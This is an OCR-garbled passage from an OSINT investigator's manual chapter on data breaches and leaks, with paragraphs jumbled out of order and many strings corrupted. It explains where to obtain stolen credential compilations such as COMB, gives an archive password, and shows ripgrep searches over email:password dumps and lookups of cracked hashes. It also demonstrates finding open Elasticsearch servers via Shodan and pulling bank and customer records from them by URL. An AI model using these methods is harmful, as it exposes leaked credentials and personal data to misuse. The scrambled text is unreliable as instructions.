breach enabled individual usernames, which are often used across other services, to be resolved to phone numbers. This file is titled SnapChat.7z and can be found at archive.org/download/SnapChat.7z. This link contains the entire breach inside one text file. Conducting the following search would query’ a specific Snapchat username for any’ leaked data. Directly after this command is the result Credentials site:anonfiles.com ”CompilationOfManyBreaches.7z" Data Breaches & Leaks 435 Your target may not appear in the results, but minimal investigation could result in a powerful new lead. You should note that the full numbers were never publicly leaked, and the group that conducted this attack redacted the results to exclude the last digits. We have only discussed a few databases stored within archive.org. I promise you there are many others containing sensitive details which would help greatly within your investigations. Conducting searches for any specific breached databases displayed on notification websites such as haveibeenpwned.com/PwnedWebsites should reveal interesting results. You have learned about numerous search methods throughout this book. What can you find? (’30351923XX*, ’topher451’J ”, (' 30351923XX', ’ben_davis', ('30351923XX', *rosemcdonald ('30351923XX*, 'cuzzycook', ('30351923XX', ’angelgallozzi’ ('30351923XX', * kmo85’ , ” (■30351923XX*, ’rinisob*. Now that we are dipping our toes into the waters of "stolen” data, we should consider the big breaches. You have likely heard about Linkedln, Dropbox, Myspace and Adobe being hacked. All of those breaches have been publicly released by various criminal organizations. At the time of this writing, most remaining sites which possessed this huge collection of stolen data had been shut down. However, the data lives on. Numerous "hacking" groups have collected tens of thousands of breached databases, both large and small, and combined them into credential lists. These lists contain only the email addresses and passwords of billions of accounts. They do not identify which breach each credential originated, but the data is extremely valuable for investigators. Before we analyze the content, we must obtain a full copy of the data. This is where things get tricky (again). In 2021, an unknown group of credential thieves created a huge collection of 3.2 billion credentials consisting only of email address and password combinations. This data set was titled "Compilation Of Many Breaches", otherwise known as "COMB”. There have been numerous other combo lists released in previous years, such as Anti-Public, Exploit.in, and others. However, this set included a better search structure and ability to conduct queries within seconds. Some people may find that searching for "CompilationOfManyBreaches.7z" within Google might lead you to a copy. Others report that the following query xx’ill display the torrent file for this data. My attorney says I cannot HOST links to any of this content, which I understand. She also says that I cannot display any direct links to an identifiable breach, such as Linkedln or Adobe. This would make me a target for a lawsuit, and seems like great advice. My only option is to "identify public resources which link to data without attribution of a specific originating source". In other words, I can tell you where you may find this "Combo List" content, but it is up to you to take action to obtain it Let's connect our VPN; understand any employer policies which might prevent the following actions; and tiptoe into the world of stolen credentials. , ”), ”, ”), ”, ”), ”, , ”), Real World Application: In 2017,1 was provided a Snapchat username, similar to "yourdaddy3", of a suspect in a human trafficking investigation. A quick search revealed the first eight digits of his cellular telephone number which did not prove to be beneficial to various online searches. However, conducting a search for "yourdaddy" without the digit revealed a new partial number associated with "yourdaddyl" and "yourdaddy2", all within the same area code. Using the reverse caller ID APIs mentioned previously, I attempted to identify the owners of all 100 possible numbers. 58 of them were not registered, which left 42 valid numbers returning to individuals living in the area. Of those, only 19 of them were associated with males. Of those, only three fit a physical description of the suspect. A cooperating witness easily identified the suspect from these options. I truly believe in the power of this data. This should result in • ./query [email protected] The result should appear as follows. [email protected]:password ./query michael.bazzell 436 Chapter 28 conduct searches will start with it • ./query [email protected] no hits within a few seconds. Now try the following. Let's assume you now have a hard drive with the entire contents from COMB. The result is a 20GB compressed file which contains all 3.2 billion credentials. The file itself is titled "CompilationOfManyBreaches.7z". If you chose to download this file, it must be decompressed. I prefer a utility such as 7-zip for Linux and Windows, or Keka for Mac. Upon decompression, you might be prompted for a password. A Twitter post located at https://twitter.com/BubbaMustafa/status/1370376039583657985 claims the required archive password is "+w/P3PRqQQoJ6g". Once decompressed, you should see a new folder titled "CompilationOfManyBreaches" which is 106 GB in size. This identifies a password "password". Notice that the first query failed because we did not include the within the search parameter. This tool can be fairly unforgiving and requires exact data. The following search provides any email address which begins with "michael.bazzell" with results which follow. Assume you possess a folder called COMB within your external hard drive connected to your Linux VM which contains the data downloaded during this exercise. Opening Terminal and navigating to that folder may not be easy. You would need to know the exact path. Instead, open the Files application and you should see your external hard drive in the left menu. Click on it and select the COMB folder. Open Terminal, type cd, then space, then drag the COMB folder in the external storage from the Files application to Terminal. Strike enter and it should populate the path of the drive. Mine appeared as cd ’ /media/osint/lTBExternal/COMB'. You could also find the external drive within the Files application in Ubuntu, right-click, and choose "Open in Terminal". You should now be within your new data collection folder inside Terminal. We can conduct searches to start evaluating the benefit of this data. Since COMB includes a fast search option, we Execute the following commands within Terminal from within the "CompilationOfManyBreaches" folder. At the time of this writing, the single result from this search possessed a torrent file which could be opened with a torrent software application such as Transmission. This program will download tine large file to your computer. This is a lot of data. It may be more content than your internal hard drive can store, and is definitely more than your VM is configured to handle. You may see better results by downloading it through your host, but even’ situation is unique. If appropriate, you may consider downloading the entire torrents to an external hard drive. During testing of this tutorial, I connected a 1TB external USB drive to my VM and chose it as the destination for the downloaded files through Transmission. This kept my VM clean and all data was available on the external drive. This allows use within multiple VMs or host computers. Depending on your internet connection, this entire download can take hours or weeks to finish. If possessing user credentials violates your security clearance or organizational polices, do not proceed with this download. [email protected]:password [email protected]:redactedlO [email protected]:redacted201 Note that Mac users can submit queries as bash /query michael .bazzell and obtain the same results. This search tool is extremely fast If you know the email address of your target, or at least the first portion of the address, searching through the native COMB query option is best. However, this presents limitations. You cannot use this tool to search a specific domain or password. For that we will once again rely on Ripgrep. The rg -a -F -i -N [email protected] mikewilson@microsoft. com: bigbucks55 rg -a -F -i -N bigbucks55 We can also use this to query all credentials from a specific domain. rg -a -F -i -N @altonpolice.com One of the results is quite embarrassing, as follows. I promise I have not used that password since the late 90's. bazzellgaltonpolice. com: mb01mb01mb Data Breaches & Leaks 437 bigbucks551@yahoo. com: towboat@l bigbucks55@hotmail .co.uk: towboat@l bigbucks55@hotmail. com: towboat@l prizeunitgyahoo. com: bigbucks55 mike. wilson5@gmail. com: BigBucks55 mikewilsongmicrosoft. com: bigbucks55 Real World Application: The tactic of searching leaked passwords and recovering associated accounts is by far the most successful database leaks stratejpr that I have applied to my investigations. In 2017,1 was assisting a federal agency with a child pornography investigation where a suspect email address had been identified. This address was confirmed as being connected to the original person that had manufactured illegal videos of children being molested, but an alias name was used during creation. A search of this address through a breach compilation revealed a unique password associated with the account. Searching this password revealed only one additional email account, which was the personal Gmail account of the suspect (in his real name). The suspect used the same password for both accounts. The primary investigator made an arrest the next day after confirming the connection. While some will say that we should never download leaked databases that contain personal login following queries will all assume that you have already opened Terminal and have navigated to the folder where your data is stored. The next search would attempt to identify a specific email address within all the files. Note that results were modified to protect the privacy of the individual. As a reminder, this command applies our parameters and identifies the target data to be searched. The result follows the command. The results include accounts associated with our target, and some that are not. The more unique your target's password, the better quality of associated content you will receive. The following data was presented during my search. Notice the ways that data was displayed based on the search, and how any portion of the results were included. Since we specified our search parameters, we received results regardless of case. We now know that at some point a password of bigbucks55 was used in conjunction with an online account associated with our target email address. Would this password still work with any online accounts? Possibly, but we will never know. Attempting to log in to an account with this information is a crime. Instead, think about other ways that we could use this data offline. We know our target's work email account, but we may want his personal account. Since many people recycle the same password across multiple accounts, let's conduct a search for the password. This tells me that the last two results are very7 likely my target, since the names are similar and the passwords are almost identical. 1 can now assume that my target's personal email account is [email protected]. The first three accounts could be my target, but are probably not. This is likely just a coincidence. However, we can assume that the owner of one of those accounts is the owner of all three since the passwords are identical. The fourth response is a toss-up, but worth further investigation. "myspace" excrar OR exczip OR exc7z OR exttxt OR extsql Hashes BDC87B9C894DA5168059E00EBFFB9077 438 Chapter 28 SHA512: 8C7C9D16278AC60A19776F204F3109B1C2FC782FF8B671F42426A85CF72B1021887DD9E4FEBE420DC D215BA499FF12E230DAF67AFFFDE8BF84BEFE867A8822C4 SHA256: B9C950640E1B3740E98ACB93E669C65766F6670DD1609BA91FF41052B A48C6F3 SHA1: E6B6AFBD6D76BB5D2041542D7D2E3FAC5BB05593 several are nearly As a start, you may consider focusing on public credential leaks on Pastebin (pastebin.com). When you search an email address on Pastebin via Google, the results often include paste dumps. Clicking on these links will take you to the original paste document, which likely has many additional compromised credentials. A query of [email protected] on this site wall likely present hundreds of data sets ready for download. Do you remember the "Index Of technique mentioned previously? This is very useful in searching for leaks. Any time I see on HIBP that a new' public leak has surfaced, I search for that specific data with a custom Google search. If I saw that Myspace has been exposed, I would use the following. I cannot overstate that this instruction is the very’ tip of the iceberg. There are tens of thousands of compromised databases online, and more being published every' day. If y'ou find "COMB" to be valuable, y'ou may' consider researching others. If you invest some time into seeking the sources of this data, y'ou will quickly become overwhelmed at the mass amounts of content to properly' obtain, clean, and store. I can only discuss the basics here. It is your job to proceed if you choose. credentials, 1 disagree. There is great potential value in these data dumps that could solve cases on a grand scale, and make a huge impact on the prosecution of serious criminals. Most websites store passwords in "hashed" form. This guards against the possibility' that someone who gains unauthorized access to the database can retrieve the plain-text passwords of every' user in the system. Hashing performs a one-way transformation on a password, turning the password into another string, called the hashed password. "One-way" means that it was practically impossible to go the other way and turn the hashed password back into the original password. This was true many' y'ears ago, but not so much today. There are mathematically' complex hashing algorithms that fulfill these needs. Some are very' insecure and others impossible to crack. Let's look at a few examples. MD5: Many' older databases which have been breached possessed simple MD5 password hashes. The password of "passw'ordl234" is as follows as an MD5 hash. There are many online database resources that will sell you the data. Please avoid these. First, you wall likely get ripped off a few times before you find an "honest" seller. Second, you are giving money' to criminals, and I don't like encouraging that behavior. Many researchers that I know possess over 10,000 databases which contain over two terabytes of total information, all found on public sites. A search of this data can take a few minutes. SHA1: The Sha-1 hash of the same password, "passwordl234", is as follows. Notice this is substantially' longer, and a bit more secure. However, it will be quite easy' for us to crack these passwords in just a moment. Below this example is the same password in Sha-256 and Sha-512 format. As you can see, these become increasingly complicated. Hashes (hashes.org) the site, I was rg -a -F -i -N verybadl234 The result appears similar to the following. Data Breaches & Leaks 439 MD5 00747af6279313863a0319070bdbfb80:168130 MD5 0075f8d9f099093bdbal0e8b7e88b47c:8208201982 MD5 007be02e9bd7eb4402al5f377ad22e9e:zhangker46 Leaks/713_f orums - nodoubt - com_f ound_hash_algorithm_plain. txt. zip MYSQL5 887b0eb63dbc543991567864efc0b05aad5a8ab2:verybadl234 Your target has an email address of "[email protected]". A query of this email address within the COMB data reveals a password of "verybadl234". However, this does not tell you which breach is associated with this address. Within Terminal, after navigating to the "HashesOrg Archive" folder, the following command is issued. The data tells us that this specific breach stored passwords in MD5 format. In this excerpt, we know that the MD5 hash of "00747af6279313863a0319070bdbfb80" reveals a password of "168130". We also know that a password of " zhangker46" was used within the Casio website at the time of the breach. Both of these pieces of data will be valuable to us. Let’s conduct an investigation. https://pastebin.com/pS5AQN VO https://defuse.ca/b/bgQpxtmO https://old.reddit.com/r/DataHoarder/comments/ohlcye/hashesorg_archives_of_all_cracked_hash_lists_up Once complete, you should have a folder titled "HashesOrg Archive" with folders of "Hashlists" and "Leaks inside of it. These two folders contain thousands of compressed zip files. While you could issue commands via Terminal to decompress all files, 1 find it easier to simply select all files within a folder; right-click on them; and select to open with your desired decompression tool. Once you see the ".txt" versions of each file present, you might want to delete the original ".zip" files to free some space. Let's take a look inside the "Leaks" folder and open the file tided "20_casio-com_found_hash_algorithm_plain.txt". A partial excerpt follows. The entire archive of hashes and passwords which previously existed on hashes.org is available as a torrent file. The following websites contain a "magnet" torrent link within them. Copying and pasting this link within your browser should launch your default torrent software and begin the 90GB compressed download. Make sure you have plenty of space. In regard to the various breached databases which you are likely to find on the internet, you will most commonly sec MD5 and SHA1 hashed passwords. Some of them possess a "salt". This is a small amount of data added to the hashing which makes cracking the password more difficult. If a breach docs not possess the salt, the passwords are nearly impossible to crack. If the salt is present, it takes considerable additional resources in order to display the text password. The methods of "cracking" passwords exceed the scope of this book. Fortunately, we do not need the knowledge and computer horsepower to convert these hashes into valuable passwords. We simply need a third-party resource. Hashes.org attempted to reveal the plain text of your submitted password hash. This was usually done in an effort to assist security professionals to evaluate the security provided by the relevant hash submitted. For us, it provided a new lead to follow. The database contained billions of cracked hashes available via web search and API. If I queried " BDC87B9C894DA5168O59E00EBFFB9077" via the search page on the site, 1 was immediately presented with "passwordl234" as the password. Unfortunately, the service disappeared in late 2020. However, online archives exist. 1 consider the following technique to be advanced, and only suitable for those who have a need to reveal hashed passwords as part of their daily operations. [email protected]:14FDF540E39F0F154C8D0B3BD82ACE100B779DFA 14FDF540E39F0F154C8D0B3BD82ACE100B779DFA - Hash Type: SHA1 rg -a -F -i -N 14FDF540E39FOF154C8DOB3BD82ACE1OOB779DFA The results appear below. rg -a -F -i -N stillverybad!234 MD5 440 Chapter 28 482c811da5d5b4bc6d497ffa9849le38:passwordl23 22f4182aae2784fb3dla432d44107f46:readerl2 We now know this is Hashes.org data set [email protected]:482C811DA5D5B4BC6D497FFA98491E38 [email protected]:22F4182AAE2784FB3DlA432D44F07F46 Searching "14FDF540E39FOF154C8DOB3BD82ACE100B779DFA" through the hash identification website TunnelsUp (tunnelsup.com/hash-analyzer) reveals the following. Leaks/706_forums-utorrent-com_-Found_hash_algorithm_plain. txt. zip SHA1 14FDF540E39F0F154C8D0B3BD82ACE100B779DFA: Stillverybadl234 Leaks/1182_prowrestlingf ans-com_found_hash_algorithm_plain.txt. zip SHA1 14FDF540E39F0F154C8D0B3BD82ACE100B779DFA: stillverybad!234 a SHA1 hash which represents a password. We can execute the following within our Some older data breaches possess passwords hashed with MD5, an extremely insecure method. These hashes can be cracked ver}’ quickly. Below are two entries retrieved from various files. This may identify more data to be analyzed. However, this is all circumstantial. If a password is unique and complex, I have more confidence in the relationship to my suspect. If the password is "password 1234" and appears on hundreds of sites, this has no value. Let's take a closer look at some popular types of hashes. We now have circumstantial evidence that a user on a web forum for the band No Doubt was using a password of "verybad!234" and the MYSQL5 hash of that password is "887b0eb63dbc543991567864efc0b05aad5a8ab2". Does this prove that "[email protected]" was using this forum? No, but it is a solid lead. It could also be someone else using the same password. Since Hashes.org does not share the username or email address, wc must continue the investigation with the OSINT methods previously explained. Is that email address associated with any conversations about the band? That would give me more confidence with the result. We should look at the typical way that one would use the Hashes.org data set. Assume that you have identified the following data within a breach, leak, or online website. We now know’ that "[email protected]" likely used a password of "stillverybadl234" at some point in time. We also know’ that someone using the password of " still very bad1234" used that password on a uTorrent forum and a wrestling w-ebsite, both of which suffered a breach. Are these all the same person? We cannot definitely conclude that How’ever, these are great leads. My next search would be the following. Everything before the colon is the username or email address, and everything after is the MD5 hash. Searching these hashes into your Hashes.org data produces the following results. We now know that the first password is "passwordl23" and the second is "readerl2". MD5 + Salt (Vbullctin) Searching these hashes and salts through your Hashes.org data provides the following results. SHA1 Online Hash Search Resources Annas,[email protected]:9d9e3c372d054c0769bd93181240be36:tye Traor,[email protected]:9274583d060b3efb464115e65a8cl ead:w# 403E35A2B0243D40400AF6BB358B5C546CDDD981:letmein! BlC4BBC4D7546529895CFABF8C1139CA7E486E18:LetMeIn! [email protected]:403E35A2B0243D40400AF6BB358B5C546CDDD981 [email protected]:BlC4BBC4D7546529895CFABF8C1139CA7E486E18 https://osintsh/md5/ https://www.md5online.org/md5-decrypt.html https://md5decrypt.net/en/ https://md5decrypt.net/en/Shal / https://www.dcode.fr/shal -hash https://md5hashing.net/hash/shal 9d9e3c372d054c0769bd93181240be36:tye:eliza!% 9274583d060b3efb464115e65a8cl ead:w#:runner scenarios. The password very’ limited, but may offer This format is slightly more secure than MD5, but still extremely easy’ to crack. The passwords obtained from the Linkedln breach were all hashed in SHA1. Below are two examples. be extremely beneficial. It is quite a >se. Take some time to think about your The following websites will convert MD5 and SHA1 hashes into passwords in some must be within their limited system and should not be very’ complex. These are immediate data. Searching these can be time consuming. However, the results can commitment to download hundreds of gigabytes of data for this purpo: own needs. Many people may just need an online sendee to "crack" their hashes. The results from Hashes follow. These two passwords are identical, but with different case. The first is all lowercase while the second contains uppercase. Notice that these create a completely different hash because of this. Keep this in mind when investigating passwords of your target. Data Breaches & Leaks 441 Some hashes will contain a "salt". This is usually’ a small piece of data after the hash, and both pieces are required to translate into plain-text. One of the most popular examples of this are the hundreds of Vbulletin online forums which have been infiltrated by various hacking groups. In the following examples, the salt is the final three characters after the last colon. In the first example, you see the target password is "eliza!%". This proves that semi-complex passwords containing special characters are often dehashed and ready’ for conversion. This is where Hashes sticks out from the crowd. There are many online reverse-hashing tools, but most of them focus only on one format, such as MD5, and use minimal dictionaries to crack the hashes. Let’s try one more demonstration. install it within your OS1NT sudo -H pip install search-that-hash -I sth —text "5f4dcc3b5aa765d61d8327deb882cf99” The result appears as follows. Online Breach Search Resources Email Address ([email protected]) Username (test) Domain (inteltechniques.com) Telephone (6185551212) https://dehashed.com/search?query=6185551212 442 Chapter 28 https://haveibeenpwned.com/unifiedsearch/test https://dehashed.com/search?query=test 5f4dcc3b5aa765d61d8327deb882cf99 Text : password Type : MD5 https://haveibeenpwned.com/unifiedsearch/[email protected] https://dehashed.com/[email protected] https://portal.spycloud.com/endpoint/enriched-stats/[email protected] https://check.cybemews.com/chk/?lang=en_US&[email protected] https://intekx.io/?s=test@tesLcom Within Terminal, you can now execute the following to search a hash within multiple online converters. We now know that the hash value is a MD5 representation of the password "password”. This process is included within the script tided "Breaches/Leaks Tool" included in the OS1NT VM. I launch this application daily. When it cannot identify the password, 1 rely on my Hashes.org data set If all of this is simply too complicated, we can always rely on online sendees, as explained next. Throughout this book, I have mentioned various websites which allow query of target data against breached and leaked content. These do not always display passwords, but will confirm presence within a specific breach. I will not revisit each option, as they have all been previously explained, but I will provide a summan’ with direct URL submission options. This will be vital for our Data Tool mentioned at the end of the chapter. https://dehashed.com/search?query=inteltechniques.com https://intelx.io/?s=inteltechniques.com If you do not want to build, store, and maintain your own hash data set, 1 recommend Search That Hash (github.com/HashPals/Search-That-Hash) over the online options. If you followed the steps in chapters four and five, your OSINT VM is already configured for this tutorial. If not, you can i---------- .... J virtual machine with the following step. IP Address (l.l.l.l) Name (Michael Bazzell) https://dehashed.com/search?query=michael bazzell Password (password 1234) Hash (BDC87B9C894DA5168059E00EBFFB9077) Miscellaneous Sites H8Mail (github.com/khast3x/h8mail) Launching rhe script with the following will produce minimal, if any, results. h8mail -t [email protected] Data Breaches & Leaks 443 https://dehashed.com/scarch?query=l.l.l.l https://intelx.io/?s=l .1.1.1 https://dehashed.com/search?query=pass word 1234 https://www.google.com/search?q=password!234 H8Mail attempts to combine many of the breach sendees we have explored into one utility. It should never take the place of a full manual review, but the embedded automation can be beneficial to an investigation. If you followed the steps in Chapter Five, you already have this program and the automated script (Breaches/Leaks Tool) installed. If not, conduct the following within Terminal. https://dehashed.com/search?query=BDC87B9C894DA5168059E00EBFFB9077 https://www.google.com/search?q=BDC87B9C894DA5168059E00EBFFB9077 • sudo —H pip install h8mail -I • cd -/Downloads && h8mail -g • sed -i ’ s/\; leak\-lookup\_pub/leak\-lookup\_pub/g' h8mail_config.ini The following websites do not allow submission via URL, but a manual search may be beneficial. Please remember that all of these sites come and go quickly. By the time you read this, some of these services may have shut down. It is equally possible that new resources are waiting for your discovery'. LeakPeek (leakpeek.com) LeakedSource (leakedsource.ru) We Leak Info (weleakinfo.to) Beach Directory (breachdirectory.org) Providing API keys from sendees such as Snusbase, WeLeaklnfo, Leak-Lookup, HavelBeenPwned, Emailrep, Dehashed, and Hunterio will provide MANY more results, but these sendees can be quite expensive. If you rely on breach data every day; can afford premium sendees; and do not want to collect your own breach data; there may be value for you within this option. After you have obtained API keys from your desired sendees, open the Files application, enter the Downloads folder, and double-click the file named "h8mail_config.ini". You should see text similar to the following partial example. Add your API keys within the appropriate lines, similar to the entry' for "leak-lookup pub”, and remove any' semicolons within lines you want to be used. If a semicolon is at the beginning of a line, that option is ignored. At the minimum, make sure the semicolon is removed from the I can now conduct a query within Terminal agaii • rg -a -F -I -N [email protected] This results in one entry as follows. [email protected]:H8teful0ne45 We now know that he used the password of H8tefuI0ne45 rg -a -F -I -N H8teful0ne45 This returned the following results. 444 Chapter 28 test@email. com, LEAKLOOKUP_PUB, ticketfly. com [email protected], LEAKLOOKUP_PUB, truef ire. com [email protected], LEAKLOOKUP_PUB, tumblr.com Open Terminal, type cd, then space, Terminal. This makes sure you are i ■ ; ■ ■ ----- ' - '5 on a site. We should next conduct a search of that password to see if it is used anywhere else. The following query is appropriate. johndoel2870gmail. com:H8teful0ne45 johndoeggmail. com:H8teful0ne45 johndoel287@hotmail. com:H8tefu!0ne45 ;;weleakinfo_priv = ;;weleakinfo_pub = ;hibp = leak-lookup_pub = Ibf 94f f 907f 68d511de9a610a6f f 9263 ;leak-lookup_priv = ;emailrep = After this new configuration file modification, I executed a search for [email protected]. The result was a file which contained 172 results. The following partial view confirms that this address exists within breaches from TicketFly, TrueFire, and Tumblr. Eliminating this modification returned no results. "leak-lookup pub" line and execute another query’. You should see new results. If you conducted the sed command on the previous page, this should already be configured for you. • cd 1 /media/osint/lTBExternal/ 1 I can now conduct a query’ within Terminal against all of my collected data. The following ^r^cs email address. Each query could take several minutes if you possess a lot of ata an a s o\ Sample Investigation We have covered a lot so for within this chapter. Let's pause and conduct an investigation using this data. Assume that you possess the databases mentioned previously, especially "COMB". Your investigation identifies a suspect with an email address of [email protected]. This appears to be a burner email account, as you find no evidence of it anywhere online. It was used to harass your client and likely created only for devious activity. Our first step is to query’ the address through all the databases you have acquired. Assume these are all stored on your external hard drive, which is plugged into your host computer. You have already connected this dnve to a cloned OSINT virtual machine through the "Devices" menu in VirtualBox. Let’s take each step slowly. , and drag-and-drop the external drive from your Files application into in the correct path. My command appears similar to the following. We can now submit each of these throughout all of our data with the following three commands. The first query’ returned the following result. Data Breaches & Leaks 445 https://passwordsgenerator.net/md5-hash-generator/ 9EFOEC63E2E52320CB20E345DCBA8112 https://passwordsgenerator.net/shal -hash-generator/ D15FB15C1BC88F4B7932FD29918D1E9E9BBE7CA5 https://passwordsgenerator.net/sha256-hash-generator/ 37A790A268B9FE62B424BABFC3BCAB0646BFB24B93EC1619AAE7289E0D7086DB Your biggest frustration may be the speed of each query’. I possess all of my data within an internal solid-state drive (SSD) with amazing read speeds. It still takes a few of minutes to parse through all of my data (2TB). If you are using an external spinning drive, expect that time to triple. If this technique proves to be valuable, you might consider a dedicated machine for this sole purpose. Personally, I never conduct these queries within a virtual machine due to these speed issues. I have a dedicated MacBook Pro with a 4TB internal drive to store and query’ my content. This may be overkill for your needs. These addresses are likely controlled by our target since the passwords are the same and the addresses arc similar. We now have new search options. However, this search only queries for this exact text password term. If you possess a database which has not been dehashed, your target password could be present within an MD5, SHA1, or other hash. Therefore, let’s convert this password into the most commonly used hashes with the following websites, displaying the output below each. Leaks/1183_houstonast nos - comf ound_hash_algorithm_plain. txt. zip SHA1 D15FB15ClBC88F4B7932FD29918DlE9E9BBE7CA5:H8teful0ne45 This tells us that a user with a password of ”H8teful0ne45" was present on a breach about the Houston Astros. Is this the same person? It could be. It could also be a coincidence. The more unique a password is, the more confidence I have that it is the same individual. This definitely warrants further investigation. I might next try’ to locate the original breach data, which would likely’ include any email addresses associated with that password hash. All of these steps are designed to lead us to the next step. All of these results give me more confidence that these accounts are owned by the same person. The variant of the "hateful” password and presence of "johndoe" within the original email address and the new password convinces me we are on the right track. I would now target this new email address and replicate the searches mentioned within previous chapters. We should also check our Pastes search tool and the online breach resources previously’ explained. • rg -a -F -I -N 9EF0EC63E2E52320CB20E345DCBA8112 • rg -a -F -I -N D15FB15C1BC88F4B7932FD29918D1E9E9BBE7CA5 • rg -a -F -I -N 37A790A268B9FE62B424BABFC3BCAB0646BFB24B93EC1619AAE7289E0D7086DB Data Leaks productelastic port:9200 [target data] producttelastic port:9200 customer € 34.80.1 GoojU Cloud S UniudSlXi, ClusUr Hama 34 Elasticscarch database. 446 Chapter 28 Elastic Indices: .rxinitoring-cs-6-2819.C9.24 .rzwil toring-es-6-2019.C9.23 .rQnitoring-cs-6-2019.C9.22 .ronltoring-cs-6-2819.89.21 .Fonitorlng-cs-6-2819.89.28 .ronitoring-kibana-6-2819.89— naae: cluster_naae: cluster_uuid: •* version: nutsber: build_flavor: build_type: build_hash: build_date: build-snapshot: lucene_version: sini=uo_wi re_c oi-pa t ib ilit y_ve rs ion: rinizua_index_corpatibility_i'ersion: tagline: pm mi Number «f indices "5.0.0" "You Know, for Search" "pixnet-clasticsearch" "t0lf<Vy91Q10u03G]Cm'2RA" HTTP/1.1 280 OK ccntent-type: jpplicaticn/jscn: charsct-UTF-8 ccntcnt-lcngth: 504 ptWOi- "default" "deb" "04711c2" "2O18-09-26T13:34:09.098244?" false Figure 28.01: A Shodan result of an open Figure 28.02: An open Elasticsearch server. A data leak is much different than a data breach. Breaches are usually deliberate criminal intrusions which result in stolen data. Leaks are usually unintentional public exposure of data. The next time you hear about a "misconfigured server" which exposed millions of customer details, this is likely a data leak. Our best tool to find this data is Shodan (shodan.io), and you will need to be logged in to an account to conduct these queries. 1 will focus only on open Elasticsearch databases, which are extremely easy to access. Our Shodan search is as follows. As a demonstration, 1 want to search for open Elasticsearch databases which contain an index titled "Customer". Think of an index as the tide of a table or section of the database. The following search on Shodan produces over 200 results including an index tided "customer". The first result is an open database with 401GB of data. 1 have redacted the IP address and modified each address throughout this example. I will use a fictitious address of 34.80.1.1 throughout the entire demonstration. Figure 28.01 displays this result. Clicking the red square with arrow next to the redacted IP address connects to the database within your browser in a new tab. Figure 28.02 displays this result. This confirms that die database is online and open. http://34.80.1.1:9200/_cat/indices?v loted itore.oizo pri.store.size US 22*3sb ll.lnb ia-6-2019.09.20 10 >9.21 >9.23 Figure 28.03: A list of indexes within an open Elasticsearch database. http://34.80.1.1:9200/bank/_search?size= 100 http://34.80.1.1:9200/bank/_search?size=10000 Issues i i i i £74(54 354940 34(850 223(39 22582851 347378 223(39 347452 224408 34(849 77756 50202 135617 1000 5(77 101(016 77753 77753 22.3nb 1.19b 21.Sob 124.6cb 22iib 211.4eb 45.69b 21.5sb 5 kb 94.19b 461.6=b 114.19b 1.59b 29.99b 478.9sb 487.5sb 1.59b 103.2gb 44.3kb 453.3sb 1.69b 474.2xb 1.4ab 347.4sb 472.Sob 20.Sab 17.2sb 2.49b 950.5kb 16.2sb 2.39b 20.3sb 19.8sb tl.Isb 593.3cb 10.7cb 62.Jeb 10.9sb 105.7cb 22.89b 10.8sb 2.5kb 47gb 231.9rb 57.3gb 778.3=b 15gb 239.6sb 245.2sb 811.5sb 51.39b 22.4kb 225.3=b 834.Jeb 236.Erb 745.9kb 185.2eb 235.(sb 10.2sb 6.3=b 1.29b 475.2kb 8. Isb l.lgb 10.Isb 9. Erb does.count does.dele 10 3514 135(17 74164 220775 77753 107379 iu531578 77579 •”93911 6888 Figure 28.04 displays actual redacted results from this query. It identifies the first name, last name, email address, gender, city, state, bank account number, and balance associated with a customer. The rest of the index contains the same information for additional customers. 2 1 P2RWRjTiR£l w 5 aCZPulCsHWzeA 5 10 1 1 This combines the IP address (34.80.1.1), necessary port (9200), name of the index (bank), and instructions to display the first 100 records (/_search?size=100). If we wanted to view the maximum number of entries visible within the browser, we would query 10,000 records with the following URL. Next, we want to obtain a list of all indexes within this database. These tides are often indicative of the content The following URL queries this data based on a target IP address of 34.80.1.1. The result can be seen in Figure 28.03. pcibg 5 1 :W9A 1 1 5OA49Pcc0g 1 1 7UCbXvVlWA 11 -------- 5 1 1071 10 1 10531! JqMMTULnpFvEw 1 1 7<; zWH3hj2TOOECQ 10 1 ----------------------- 5 1 72935 1 1 3461 1 23422119 5 1 223(39 10 1 -. . 11 KgZ_kQUEThC5Olai27Yc90 1 1 C9ablmkIQRCjyPx32-£VIA 5 1 vbVBcTkfTiCI64nlsiHj44v 10 1 - ----------- ------- --••ohaTCVTw 1 1 !C-m4V20aw 1 1 Cd5ChT-BLA 5 1 >g7IcfQUS£65DUClbOcKQA 1 1 >lgkcrx_Q0iO134yDeDePv 10 1 '««-jEfovRHe3sBCisb4Zog 1 1 >19.09.21 IqK2oVxvSHyX_nIzQLpkfg 1 1 -6-2019.09.22 PzUBOoxKOJuMDurDPEmbmO -6-2019.09.24 oSyEB59SR2a7CbOj£CpDiw HP JWrKTiTP2RWR jTiRf 1 W DK8E3aiEQ3CZPulCsHWzeA =CAXa4duQKX5UJYtA4Jsdw crlh_EJTTQCPq65SKHaa0g RIFVLfu_RUCh8oThv6sbJA xocXY0KuSo2yhptUCG29bw 115 2855 0 771 3885123 J 141719 220802 3666 3102 0 3384 2304 2820 2365 0 0 0 0 0 health status index green open cun toe green open kkday green open ninhat green open green open green open green open green open green open .monitor) green open articlooJ green open ------ *■ green open green open green open green open green open green open green open green open green open green open . mor green open mini green open .mor green open rair green open green open green open green open green open green open green open green open green open green open We now know there are several indexes which can be viewed. The first is tided "customer", but only contains a small amount of data (68kb). Near the middle, we see an index tided "memberdispIayname20190903" which contains 124mb of data including customer usernames. Some of these indexes contain email addresses and other sensitive data. Let's focus on the index tided "bank". We can view the content with the following URL. There are many complications with acquisition of open Elasticsearch data. The first is the record limitation. Displaying results within a URL limits the results to 10,000 records. Modifying the URL as described previously presents all data possible within the browser. Saving this page stores all of the content for future queries. However, many of the data sets I find contain millions of records. A Python script which parses through all results and stores every record is most appropriate, and is explained in a moment. Data Breaches & I ^eaks 447 customer eday ninhash2 .monitoring-kibana-6-2019.05 eombcrdisplaynamo20190903 .monitoring-k''------- ' “• strcamtopic articlos20190114 ---- 4 “ring-kibam --------------jt>20190130 mcmbor20181029 .monitoring-os-6-2019.09.19 articloa20181224 minhashS test .monitoring-ea-6-2019.09.20 .monitoring-es-6-2019.09.23 minhssh4 articles201B1214 .kibana initoring-os-6-2019.09.18 ihash3 >nitoring-o«-6-2019.09.22 Ln/test .monitoring-oa-6-2019.09.24 .taonitoring-oa-6-2019.09.21 .raonitoring-kibana-6 .monitoring-kibana-6-2( minhaah bank customer service articlos20190917 .nonitoring-klbana-6-2019.05 .iaonitoring-kibana-6-2019 .OS uuid xYPN7VCPQHuRdEfP5vEkvg 3 kWWwCSTOa 1AXMVO Ja -eg 7aEhgxDDQ-2nu-Vpjpei‘"“ 